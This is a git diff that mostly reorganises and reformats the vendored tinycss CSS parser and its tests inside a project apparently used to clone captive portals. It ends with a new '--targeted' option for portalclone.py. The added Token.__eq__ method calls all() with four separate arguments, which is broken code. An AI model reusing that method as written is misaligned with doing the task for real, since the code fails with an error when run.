@pytest.mark.parametrize(('css_source', 'expected_result'), [ @@ -172,30 +171,30 @@ def test_color(css_source, expected_result): @pytest.mark.parametrize(('hsl', 'expected_rgb'), [ # http://en.wikipedia.org/wiki/HSL_and_HSV#Examples - ((0, 0, 100 ), (1, 1, 1 )), - ((127, 0, 100 ), (1, 1, 1 )), - ((0, 0, 50 ), (0.5, 0.5, 0.5 )), - ((127, 0, 50 ), (0.5, 0.5, 0.5 )), - ((0, 0, 0 ), (0, 0, 0 )), - ((127, 0, 0 ), (0, 0, 0 )), - ((0, 100, 50 ), (1, 0, 0 )), - ((60, 100, 37.5), (0.75, 0.75, 0 )), - ((780, 100, 37.5), (0.75, 0.75, 0 )), - ((-300, 100, 37.5), (0.75, 0.75, 0 )), - ((120, 100, 25 ), (0, 0.5, 0 )), - ((180, 100, 75 ), (0.5, 1, 1 )), - ((240, 100, 75 ), (0.5, 0.5, 1 )), - ((300, 50, 50 ), (0.75, 0.25, 0.75 )), - ((61.8, 63.8, 39.3), (0.628, 0.643, 0.142)), - ((251.1, 83.2, 51.1), (0.255, 0.104, 0.918)), - ((134.9, 70.7, 39.6), (0.116, 0.675, 0.255)), - ((49.5, 89.3, 49.7), (0.941, 0.785, 0.053)), - ((283.7, 77.5, 54.2), (0.704, 0.187, 0.897)), - ((14.3, 81.7, 62.4), (0.931, 0.463, 0.316)), - ((56.9, 99.1, 76.5), (0.998, 0.974, 0.532)), - ((162.4, 77.9, 44.7), (0.099, 0.795, 0.591)), - ((248.3, 60.1, 37.3), (0.211, 0.149, 0.597)), - ((240.5, 29, 60.7), (0.495, 0.493, 0.721)), + ((0, 0, 100 ), (1, 1, 1 )), # noqa + ((127, 0, 100 ), (1, 1, 1 )), # noqa + ((0, 0, 50 ), (0.5, 0.5, 0.5 )), # noqa + ((127, 0, 50 ), (0.5, 0.5, 0.5 )), # noqa + ((0, 0, 0 ), (0, 0, 0 )), # noqa + ((127, 0, 0 ), (0, 0, 0 )), # noqa + ((0, 100, 50 ), (1, 0, 0 )), # noqa + ((60, 100, 37.5), (0.75, 0.75, 0 )), # noqa + ((780, 100, 37.5), (0.75, 0.75, 0 )), # noqa + ((-300, 100, 37.5), (0.75, 0.75, 0 )), # noqa + ((120, 100, 25 ), (0, 0.5, 0 )), # noqa + ((180, 100, 75 ), (0.5, 1, 1 )), # noqa + ((240, 100, 75 ), (0.5, 0.5, 1 )), # noqa + ((300, 50, 50 ), (0.75, 0.25, 0.75 )), # noqa + ((61.8, 63.8, 39.3), (0.628, 0.643, 0.142)), # noqa + ((251.1, 83.2, 51.1), (0.255, 0.104, 0.918)), # noqa + ((134.9, 70.7, 39.6), (0.116, 0.675, 0.255)), # noqa + ((49.5, 89.3, 49.7), (0.941, 0.785, 0.053)), # noqa + ((283.7, 77.5, 54.2), (0.704, 0.187, 0.897)), # noqa + ((14.3, 81.7, 62.4), (0.931, 0.463, 0.316)), # noqa + ((56.9, 99.1, 76.5), (0.998, 0.974, 0.532)), # noqa + ((162.4, 77.9, 44.7), (0.099, 0.795, 0.591)), # noqa + ((248.3, 60.1, 37.3), (0.211, 0.149, 0.597)), # noqa + ((240.5, 29, 60.7), (0.495, 0.493, 0.721)), # noqa ]) def test_hsl(hsl, expected_rgb): for got, expected in zip(hsl_to_rgb(*hsl), expected_rgb): diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py old mode 100755 new mode 100644 similarity index 97% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py index 48626d7..a8ca956 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the CSS 2.1 parser ---------------------------- @@ -9,16 +9,16 @@ from __future__ import unicode_literals + import io import os import tempfile import pytest - from tinycss.css21 import CSS21Parser -from .test_tokenizer import jsonify from . import assert_errors +from .test_tokenizer import jsonify def parse_bytes(css_bytes, kwargs): @@ -49,7 +49,7 @@ def parse_filename(css_bytes, kwargs): ('@import "é";'.encode('utf8'), {}, 'é'), ('@import "é";'.encode('utf16'), {}, 'é'), # with a BOM ('@import "é";'.encode('latin1'), {}, 'é'), - ('@import "£";'.encode('Shift-JIS'), {}, '\x81\x92'), # latin1 mojibake + ('@import "£";'.encode('Shift-JIS'), {}, '\x81\x92'), # lat1 mojibake ('@charset "Shift-JIS";@import "£";'.encode('Shift-JIS'), {}, '£'), (' @charset "Shift-JIS";@import "£";'.encode('Shift-JIS'), {}, '\x81\x92'), @@ -77,7 +77,8 @@ def test_bytes(css_bytes, kwargs, expected_result, parse): ('foo{} @lipsum{} bar{}', 2, ['unknown at-rule in stylesheet context: @lipsum']), ('@charset "ascii"; foo {}', 1, []), - (' @charset "ascii"; foo {}', 1, ['mis-placed or malformed @charset rule']), + (' @charset "ascii"; foo {}', 1, [ + 'mis-placed or malformed @charset rule']), ('@charset ascii; foo {}', 1, ['mis-placed or malformed @charset rule']), ('foo {} @charset "ascii";', 1, ['mis-placed or malformed @charset rule']), ]) @@ -109,8 +110,8 @@ def test_at_rules(css_source, expected_rules, expected_errors): ('a{b:4}', [('a', [('b', [('INTEGER', 4)])])], []), ('@page {\t b: 4; @margin}', [('@page', [], [ - ('S', '\t '), ('IDENT', 'b'), (':', ':'), ('S', ' '), ('INTEGER', 4), - (';', ';'), ('S', ' '), ('ATKEYWORD', '@margin'), + ('S', '\t '), ('IDENT', 'b'), (':', ':'), ('S', ' '), ('INTEGER', 4), + (';', ';'), ('S', ' '), ('ATKEYWORD', '@margin'), ])], []), ('foo', [], ['no declaration block found']), diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py old mode 100755 new mode 100644 similarity index 96% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py index 42df0c3..eaa8019 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for decoding bytes to Unicode ----------------------------------- @@ -11,7 +11,6 @@ from __future__ import unicode_literals import pytest - from tinycss.decoding import decode @@ -30,13 +29,13 @@ def params(css, encoding, use_bom=False, expect_error=False, **kwargs): params('£', 'ShiftJIS', linking_encoding='Shift-JIS'), params('£', 'ShiftJIS', document_encoding='Shift-JIS'), params('£', 'ShiftJIS', protocol_encoding='utf8', - document_encoding='ShiftJIS'), + document_encoding='ShiftJIS'), params('@charset "utf8"; £', 'ShiftJIS', expect_error=True), params('@charset "utf£8"; £', 'ShiftJIS', expect_error=True), params('@charset "unknown-encoding"; £', 'ShiftJIS', expect_error=True), params('@charset "utf8"; £', 'ShiftJIS', document_encoding='ShiftJIS'), params('£', 'ShiftJIS', linking_encoding='utf8', - document_encoding='ShiftJIS'), + document_encoding='ShiftJIS'), params('@charset "utf-32"; 𐂃', 'utf-32-be'), params('@charset "Shift-JIS"; £', 'ShiftJIS'), params('@charset "ISO-8859-8"; £', 'ShiftJIS', expect_error=True), diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py new file mode 100644 index 0000000..ee8ab67 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py @@ -0,0 +1,144 @@ +# coding: utf-8 +""" + Tests for the Fonts 3 parser + ---------------------------- + + :copyright: (c) 2016 by Kozea. + :license: BSD, see LICENSE for more details. +""" + + +from __future__ import unicode_literals + +import pytest +from tinycss.fonts3 import CSSFonts3Parser + +from . import assert_errors +from .test_tokenizer import jsonify + + +@pytest.mark.parametrize(('css', 'expected_family_names', 'expected_errors'), [ + ('@font-feature-values foo {}', ('foo',), []), + ('@font-feature-values Foo Test {}', ('Foo Test',), []), + ('@font-feature-values \'Foo Test\' {}', ('Foo Test',), []), + ('@font-feature-values Foo Test, Foo Lol, "Foo tooo"', ( + 'Foo Test', 'Foo Lol', 'Foo tooo'), []), + ('@font-feature-values Foo , Foo lol {}', ('Foo', 'Foo lol'), []), + ('@font-feature-values Foo , "Foobar" , Lol {}', ( + 'Foo', 'Foobar', 'Lol'), []), + ('@font-feature-values Foo, {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values ,Foo {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test,"Foo", {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test "Foo" {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test Foo, Test "bar", "foo" {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test/Foo {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values /Foo {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values #Foo {}', None, [ + 'invalid @font-feature-values selector']), + # TODO: this currently works but should not work + # ('@font-feature-values test@foo {}', None, [ + # 'invalid @font-feature-values selector']), + ('@font-feature-values Hawaii 5-0 {}', None, [ + 'invalid @font-feature-values selector']), +]) +def test_font_feature_values_selectors(css, expected_family_names, + expected_errors): + stylesheet = CSSFonts3Parser().parse_stylesheet(css) + assert_errors(stylesheet.errors, expected_errors) + + if stylesheet.rules: + assert len(stylesheet.rules) == 1 + rule = stylesheet.rules[0] + assert rule.at_keyword == '@font-feature-values' + assert rule.family_names == expected_family_names + + +@pytest.mark.parametrize(('css', 'expected_declarations', 'expected_errors'), [ + ('@font-face {}', [], []), + ('@font-face test { src: "lol"; font-family: "bar" }', None, [ + 'unexpected IDENT token in @font-face rule header']), + ('@font-face { src: "lol"; font-family: "bar" }', [ + ('src', [('STRING', 'lol')]), + ('font-family', [('STRING', 'bar')])], []), + ('@font-face { src: "lol"; font-family: "bar"; src: "baz" }', [ + ('src', [('STRING', 'lol')]), + ('font-family', [('STRING', 'bar')]), + ('src', [('STRING', 'baz')])], []), +]) +def test_font_face_content(css, expected_declarations, expected_errors): + stylesheet = CSSFonts3Parser().parse_stylesheet(css) + assert_errors(stylesheet.errors, expected_errors) + + def declarations(rule): + return [(decl.name, list(jsonify(decl.value))) + for decl in rule.declarations] + + if expected_declarations is None: + assert stylesheet.rules == [] + assert expected_errors + else: + assert len(stylesheet.rules) == 1 + rule = stylesheet.rules[0] + assert rule.at_keyword == '@font-face' + assert declarations(rule) == expected_declarations + + +@pytest.mark.parametrize( + ('css', 'expected_rules', 'expected_errors'), [ + ('''@annotation{}''', None, [ + '@annotation rule not allowed in stylesheet']), + ('''@font-feature-values foo {}''', None, []), + ('''@font-feature-values foo { + @swash { ornate: 1; } + @styleset { double-W: 14; sharp-terminals: 16 1; } + }''', [ + ('@swash', [('ornate', [('INTEGER', 1)])]), + ('@styleset', [ + ('double-w', [('INTEGER', 14)]), + ('sharp-terminals', [ + ('INTEGER', 16), ('S', ' '), ('INTEGER', 1)])])], []), + ('''@font-feature-values foo { + @swash { ornate: 14; } + @unknown { test: 1; } + }''', [('@swash', [('ornate', [('INTEGER', 14)])])], [ + 'unknown at-rule in @font-feature-values context: @unknown']), + ('''@font-feature-values foo { + @annotation{boxed:1} + bad: 2; + @brokenstylesetbecauseofbadabove { sharp: 1} + @styleset { sharp-terminals: 16 1; @bad {}} + @styleset { @bad {} top-ignored: 3; top: 9000} + really-bad + }''', [ + ('@annotation', [('boxed', [('INTEGER', 1)])]), + ('@styleset', [ + ('sharp-terminals', [ + ('INTEGER', 16), ('S', ' '), ('INTEGER', 1)])]), + ('@styleset', [('top', [('INTEGER', 9000)])])], [ + 'unexpected ; token in selector', + 'expected a property name, got ATKEYWORD', + 'expected a property name, got ATKEYWORD', + 'no declaration block found for ruleset']), + ]) +def test_font_feature_values_content(css, expected_rules, expected_errors): + stylesheet = CSSFonts3Parser().parse_stylesheet(css) + assert_errors(stylesheet.errors, expected_errors) + + if expected_rules is not None: + assert len(stylesheet.rules) == 1 + rule = stylesheet.rules[0] + assert rule.at_keyword == '@font-feature-values' + + rules = [ + (at_rule.at_keyword, [ + (decl.name, list(jsonify(decl.value))) + for decl in at_rule.declarations]) + for at_rule in rule.at_rules] if rule.at_rules else None + assert rules == expected_rules diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py old mode 100755 new mode 100644 similarity index 81% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py index f73c8c2..7d2b2d2 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the Paged Media 3 parser ---------------------------------- @@ -11,11 +11,10 @@ from __future__ import unicode_literals import pytest - -from tinycss.css21 import CSS21Parser from tinycss.page3 import CSSPage3Parser -from .test_tokenizer import jsonify + from . import assert_errors +from .test_tokenizer import jsonify @pytest.mark.parametrize(('css', 'expected_selector', @@ -57,7 +56,7 @@ def test_selectors(css, expected_selector, expected_specificity, @pytest.mark.parametrize(('css', 'expected_declarations', - 'expected_rules','expected_errors'), [ + 'expected_rules', 'expected_errors'), [ ('@page {}', [], [], []), ('@page { foo: 4; bar: z }', [('foo', [('INTEGER', 4)]), ('bar', [('IDENT', 'z')])], [], []), @@ -69,7 +68,7 @@ def test_selectors(css, expected_selector, expected_specificity, [('foo', [('INTEGER', 4)]), ('bar', [('IDENT', 'z')])], [('@top-center', [('content', [('STRING', 'Awesome Title')])]), ('@bottom-left', [('content', [ - ('FUNCTION', 'counter', [('IDENT', 'page')])])])], + ('FUNCTION', 'counter', [('IDENT', 'page')])])])], []), ('''@page { foo: 4; @bottom-top { content: counter(page) } @@ -100,21 +99,3 @@ def test_content(css, expected_declarations, expected_rules, expected_errors): rules = [(margin_rule.at_keyword, declarations(margin_rule)) for margin_rule in rule.at_rules] assert rules == expected_rules - - -def test_in_at_media(): - css = '@media print { @page { size: A4 } }' - - stylesheet = CSS21Parser().parse_stylesheet(css) - assert_errors(stylesheet.errors, ['@page rule not allowed in @media']) - at_media_rule, = stylesheet.rules - assert at_media_rule.at_keyword == '@media' - assert at_media_rule.rules == [] - - stylesheet = CSSPage3Parser().parse_stylesheet(css) - assert stylesheet.errors == [] - at_media_rule, = stylesheet.rules - at_page_rule, = at_media_rule.rules - assert at_media_rule.at_keyword == '@media' - assert at_page_rule.at_keyword == '@page' - assert len(at_page_rule.declarations) == 1 diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py new file mode 100644 index 0000000..f3e7a6f --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py @@ -0,0 +1,302 @@ +# coding: utf-8 +""" + Tests for the tokenizer + ----------------------- + + :copyright: (c) 2012 by Simon Sapin. + :license: BSD, see LICENSE for more details. +""" + + +from __future__ import unicode_literals + +import os +import sys + +import pytest +from tinycss.tokenizer import ( + cython_tokenize_flat, python_tokenize_flat, regroup) + + +def test_speedups(): + is_pypy = hasattr(sys, 'pypy_translation_info') + env_skip_tests = os.environ.get('TINYCSS_SKIP_SPEEDUPS_TESTS') + # pragma: no cover + if is_pypy or env_skip_tests: + return + assert cython_tokenize_flat is not None, ( + 'Cython speedups are not installed, related tests will ' + 'be skipped. Set the TINYCSS_SKIP_SPEEDUPS_TESTS environment ' + 'variable if this is expected.') + + +@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ + (tokenize,) + test_data + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + ('', []), + ('red -->', [('IDENT', 'red'), ('S', ' '), ('CDC', '-->')]), + # Longest match rule: no CDC + ('red-->', [('IDENT', 'red--'), ('DELIM', '>')]), + (r'p[example="foo(int x) { this.x = x;}"]', [ + ('IDENT', 'p'), + ('[', '['), + ('IDENT', 'example'), + ('DELIM', '='), + ('STRING', 'foo(int x) { this.x = x;}'), + (']', ']')]), + + # Numbers are parsed + ('42 .5 -4pX 1.25em 30%', [ + ('INTEGER', 42), ('S', ' '), + ('NUMBER', .5), ('S', ' '), + # units are normalized to lower-case: + ('DIMENSION', -4, 'px'), ('S', ' '), + ('DIMENSION', 1.25, 'em'), ('S', ' '), + ('PERCENTAGE', 30, '%')]), + + # URLs are extracted + ('url(foo.png)', [('URI', 'foo.png')]), + ('url("foo.png")', [('URI', 'foo.png')]), + + # Escaping + + (r'/* Comment with a \ backslash */', [ + ('COMMENT', '/* Comment with a \ backslash */')]), # Unchanged + + # backslash followed by a newline in a string: ignored + ('"Lorem\\\nIpsum"', [('STRING', 'LoremIpsum')]), + + # backslash followed by a newline outside a string: stands for itself + ('Lorem\\\nIpsum', [ + ('IDENT', 'Lorem'), ('DELIM', '\\'), + ('S', '\n'), ('IDENT', 'Ipsum')]), + + # Cancel the meaning of special characters + (r'"Lore\m Ipsum"', [('STRING', 'Lorem Ipsum')]), # or not specal + (r'"Lorem \49psum"', [('STRING', 'Lorem Ipsum')]), + (r'"Lorem \49 psum"', [('STRING', 'Lorem Ipsum')]), + (r'"Lorem\"Ipsum"', [('STRING', 'Lorem"Ipsum')]), + (r'"Lorem\\Ipsum"', [('STRING', r'Lorem\Ipsum')]), + (r'"Lorem\5c Ipsum"', [('STRING', r'Lorem\Ipsum')]), + (r'Lorem\+Ipsum', [('IDENT', 'Lorem+Ipsum')]), + (r'Lorem+Ipsum', [ + ('IDENT', 'Lorem'), ('DELIM', '+'), ('IDENT', 'Ipsum')]), + (r'url(foo\).png)', [('URI', 'foo).png')]), + + # Unicode and backslash escaping + ('\\26 B', [('IDENT', '&B')]), + ('\\&B', [('IDENT', '&B')]), + ('@\\26\tB', [('ATKEYWORD', '@&B')]), + ('@\\&B', [('ATKEYWORD', '@&B')]), + ('#\\26\nB', [('HASH', '#&B')]), + ('#\\&B', [('HASH', '#&B')]), + ('\\26\r\nB(', [('FUNCTION', '&B(')]), + ('\\&B(', [('FUNCTION', '&B(')]), + (r'12.5\000026B', [('DIMENSION', 12.5, '&b')]), + (r'12.5\0000263B', [('DIMENSION', 12.5, '&3b')]), # max 6 digits + (r'12.5\&B', [('DIMENSION', 12.5, '&b')]), + (r'"\26 B"', [('STRING', '&B')]), + (r"'\000026B'", [('STRING', '&B')]), + (r'"\&B"', [('STRING', '&B')]), + (r'url("\26 B")', [('URI', '&B')]), + (r'url(\26 B)', [('URI', '&B')]), + (r'url("\&B")', [('URI', '&B')]), + (r'url(\&B)', [('URI', '&B')]), + (r'Lorem\110000Ipsum', [('IDENT', 'Lorem\uFFFDIpsum')]), + + # Bad strings + + # String ends at EOF without closing: no error, parsed + ('"Lorem\\26Ipsum', [('STRING', 'Lorem&Ipsum')]), + # Unescaped newline: ends the string, error, unparsed + ('"Lorem\\26Ipsum\n', [ + ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n')]), + # Tokenization restarts after the newline, so the second " starts + # a new string (which ends at EOF without errors, as above.) + ('"Lorem\\26Ipsum\ndolor" sit', [ + ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n'), + ('IDENT', 'dolor'), ('STRING', ' sit')]), + + ]]) +def test_tokens(tokenize, css_source, expected_tokens): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + sources = [css_source] + if sys.version_info[0] < 3: + # On Python 2.x, ASCII-only bytestrings can be used + # where Unicode is expected. + sources.append(css_source.encode('ascii')) + for css_source in sources: + tokens = tokenize(css_source, ignore_comments=False) + result = [ + (token.type, token.value) + ( + () if token.unit is None else (token.unit,)) + for token in tokens + ] + assert result == expected_tokens + + +@pytest.mark.parametrize('tokenize', [ + python_tokenize_flat, cython_tokenize_flat]) +def test_positions(tokenize): + """Test the reported line/column position of each token.""" + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + css = '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }' + tokens = tokenize(css, ignore_comments=False) + result = [(token.type, token.line, token.column) for token in tokens] + assert result == [ + ('COMMENT', 1, 1), ('S', 2, 9), + ('IDENT', 3, 1), ('S', 3, 2), ('{', 3, 3), + ('S', 3, 4), ('IDENT', 4, 5), (':', 4, 10), + ('S', 4, 11), ('IDENT', 4, 12), (';', 4, 15), ('S', 4, 16), + ('IDENT', 4, 17), (':', 4, 24), ('S', 4, 25), ('STRING', 4, 26), + ('S', 5, 5), ('}', 5, 6)] + + +@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ + (tokenize,) + test_data + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + ('', []), + (r'Lorem\26 "i\psum"4px', [ + ('IDENT', 'Lorem&'), ('STRING', 'ipsum'), ('DIMENSION', 4)]), + + ('not([[lorem]]{ipsum (42)})', [ + ('FUNCTION', 'not', [ + ('[', [ + ('[', [ + ('IDENT', 'lorem'), + ]), + ]), + ('{', [ + ('IDENT', 'ipsum'), + ('S', ' '), + ('(', [ + ('INTEGER', 42), + ]) + ]) + ])]), + + # Close everything at EOF, no error + ('a[b{"d', [ + ('IDENT', 'a'), + ('[', [ + ('IDENT', 'b'), + ('{', [ + ('STRING', 'd'), + ]), + ]), + ]), + + # Any remaining ), ] or } token is a nesting error + ('a[b{d]e}', [ + ('IDENT', 'a'), + ('[', [ + ('IDENT', 'b'), + ('{', [ + ('IDENT', 'd'), + (']', ']'), # The error is visible here + ('IDENT', 'e'), + ]), + ]), + ]), + # ref: + ('a[b{d}e]', [ + ('IDENT', 'a'), + ('[', [ + ('IDENT', 'b'), + ('{', [ + ('IDENT', 'd'), + ]), + ('IDENT', 'e'), + ]), + ]), + ]]) +def test_token_grouping(tokenize, css_source, expected_tokens): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + tokens = regroup(tokenize(css_source, ignore_comments=False)) + result = list(jsonify(tokens)) + assert result == expected_tokens + + +def jsonify(tokens): + """Turn tokens into "JSON-compatible" data structures.""" + for token in tokens: + if token.type == 'FUNCTION': + yield (token.type, token.function_name, + list(jsonify(token.content))) + elif token.is_container: + yield token.type, list(jsonify(token.content)) + else: + yield token.type, token.value + + +@pytest.mark.parametrize(('tokenize', 'ignore_comments', 'expected_tokens'), [ + (tokenize,) + test_data + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + (False, [ + ('COMMENT', '/* lorem */'), + ('S', ' '), + ('IDENT', 'ipsum'), + ('[', [ + ('IDENT', 'dolor'), + ('COMMENT', '/* sit */'), + ]), + ('BAD_COMMENT', '/* amet') + ]), + (True, [ + ('S', ' '), + ('IDENT', 'ipsum'), + ('[', [ + ('IDENT', 'dolor'), + ]), + ]), + ]]) +def test_comments(tokenize, ignore_comments, expected_tokens): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + css_source = '/* lorem */ ipsum[dolor/* sit */]/* amet' + tokens = regroup(tokenize(css_source, ignore_comments)) + result = list(jsonify(tokens)) + assert result == expected_tokens + + +@pytest.mark.parametrize(('tokenize', 'css_source'), [ + (tokenize, test_data) + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + r'p[example="foo(int x) { this.x = x;}"]', + '"Lorem\\26Ipsum\ndolor" sit', + '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }', + 'not([[lorem]]{ipsum (42)})', + 'a[b{d]e}', + 'a[b{"d', + ]]) +def test_token_serialize_css(tokenize, css_source): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + for _regroup in [regroup, lambda x: x]: + tokens = _regroup(tokenize(css_source, ignore_comments=False)) + result = ''.join(token.as_css() for token in tokens) + assert result == css_source + + +@pytest.mark.parametrize(('tokenize', 'css_source'), [ + (tokenize, test_data) + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + '(8, foo, [z])', '[8, foo, (z)]', '{8, foo, [z]}', 'func(8, foo, [z])' + ] +]) +def test_token_api(tokenize, css_source): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + tokens = list(regroup(tokenize(css_source))) + assert len(tokens) == 1 + token = tokens[0] + expected_len = 7 # 2 spaces, 2 commas, 3 others. + assert len(token.content) == expected_len diff --git a/PortalAuth/includes/scripts/libs/tinycss/token_data.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py old mode 100755 new mode 100644 similarity index 96% rename from PortalAuth/includes/scripts/libs/tinycss/token_data.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py index dcd9232..4111e1f --- a/PortalAuth/includes/scripts/libs/tinycss/token_data.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.token_data ------------------ @@ -11,12 +11,11 @@ from __future__ import unicode_literals -import re -import sys -import operator import functools +import operator +import re import string - +import sys # * Raw strings with the r'' notation are used so that \ do not need # to be escaped. @@ -206,7 +205,7 @@ NEWLINE_UNESCAPE = functools.partial( '') SIMPLE_UNESCAPE = functools.partial( - re.compile(r'\\(%s)' % COMPILED_MACROS['simple_escape'] , re.I).sub, + re.compile(r'\\(%s)' % COMPILED_MACROS['simple_escape'], re.I).sub, # Same as r'\1', but faster on CPython operator.methodcaller('group', 1)) @@ -329,6 +328,18 @@ class Token(object): return ('' .format(self, self.unit or '')) + def __eq__(self, other): + if type(self) != type(other): + raise TypeError( + 'Cannot compare {0} and {1}'.format(type(self), type(other))) + else: + return all( + self.type_ == other.type_, + self._as_css == other._as_css, + self.value == other.value, + self.unit == other.unit, + ) + class ContainerToken(object): """A token that contains other (nested) tokens. diff --git a/PortalAuth/includes/scripts/libs/tinycss/tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py old mode 100755 new mode 100644 similarity index 90% rename from PortalAuth/includes/scripts/libs/tinycss/tokenizer.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py index eba44c1..114b19b --- a/PortalAuth/includes/scripts/libs/tinycss/tokenizer.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.tokenizer ----------------- @@ -17,20 +17,20 @@ from __future__ import unicode_literals from . import token_data -def tokenize_flat(css_source, ignore_comments=True, - # Make these local variable to avoid global lookups in the loop - tokens_dispatch=token_data.TOKEN_DISPATCH, - unicode_unescape=token_data.UNICODE_UNESCAPE, - newline_unescape=token_data.NEWLINE_UNESCAPE, - simple_unescape=token_data.SIMPLE_UNESCAPE, - find_newlines=token_data.FIND_NEWLINES, - Token=token_data.Token, - len=len, - int=int, - float=float, - list=list, - _None=None, -): +def tokenize_flat( + css_source, ignore_comments=True, + # Make these local variable to avoid global lookups in the loop + tokens_dispatch=token_data.TOKEN_DISPATCH, + unicode_unescape=token_data.UNICODE_UNESCAPE, + newline_unescape=token_data.NEWLINE_UNESCAPE, + simple_unescape=token_data.SIMPLE_UNESCAPE, + find_newlines=token_data.FIND_NEWLINES, + Token=token_data.Token, + len=len, + int=int, + float=float, + list=list, + _None=None): """ :param css_source: CSS as an unicode string @@ -158,10 +158,9 @@ def regroup(tokens): tokens = iter(tokens) eof = [False] - def _regroup_inner(stop_at=None, - tokens=tokens, pairs=pairs, eof=eof, - ContainerToken=token_data.ContainerToken, - FunctionToken=token_data.FunctionToken): + def _regroup_inner(stop_at=None, tokens=tokens, pairs=pairs, eof=eof, + ContainerToken=token_data.ContainerToken, + FunctionToken=token_data.FunctionToken): for token in tokens: type_ = token.type if type_ == stop_at: diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py new file mode 100644 index 0000000..f896235 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py @@ -0,0 +1 @@ +VERSION = '0.4' diff --git a/PortalAuth/includes/scripts/libs/tinycss/version.py b/PortalAuth/includes/scripts/libs/tinycss/version.py deleted file mode 100755 index 014a8e4..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/version.py +++ /dev/null @@ -1 +0,0 @@ -VERSION = '0.3' diff --git a/PortalAuth/includes/scripts/portalclone.py b/PortalAuth/includes/scripts/portalclone.py index c8c5558..bc38fc6 100755 --- a/PortalAuth/includes/scripts/portalclone.py +++ b/PortalAuth/includes/scripts/portalclone.py @@ -16,10 +16,11 @@ parser.add_argument('--stripjs', action='store_true', dest='stripjs', help='Stri parser.add_argument('--stripcss', action='store_true', dest='stripcss', help='Strip inline CSS from the cloned portal', required=False) parser.add_argument('--striplinks', action='store_true', dest='striplinks', help='Strip links from the cloned portal', required=False) parser.add_argument('--stripforms', action='store_true', dest='stripforms', help='Strip form elements from the cloned portal', required=False) +parser.add_argument('--targeted', action='store_true', dest='targeted', help='Clone to a targeted portal', required=False) args = parser.parse_args() -cloner = PortalCloner(args.portalName, args.portalArchive, args.injectionSet) +cloner = PortalCloner(args.portalName, args.portalArchive, args.injectionSet, args.targeted) cloner.fetchPage(args.url) cloner.cloneResources() diff --git a/PortalAuth/includes/scripts/skeleton/MyPortal.php b/PortalAuth/includes/scripts/skeleton/MyPortal.php index 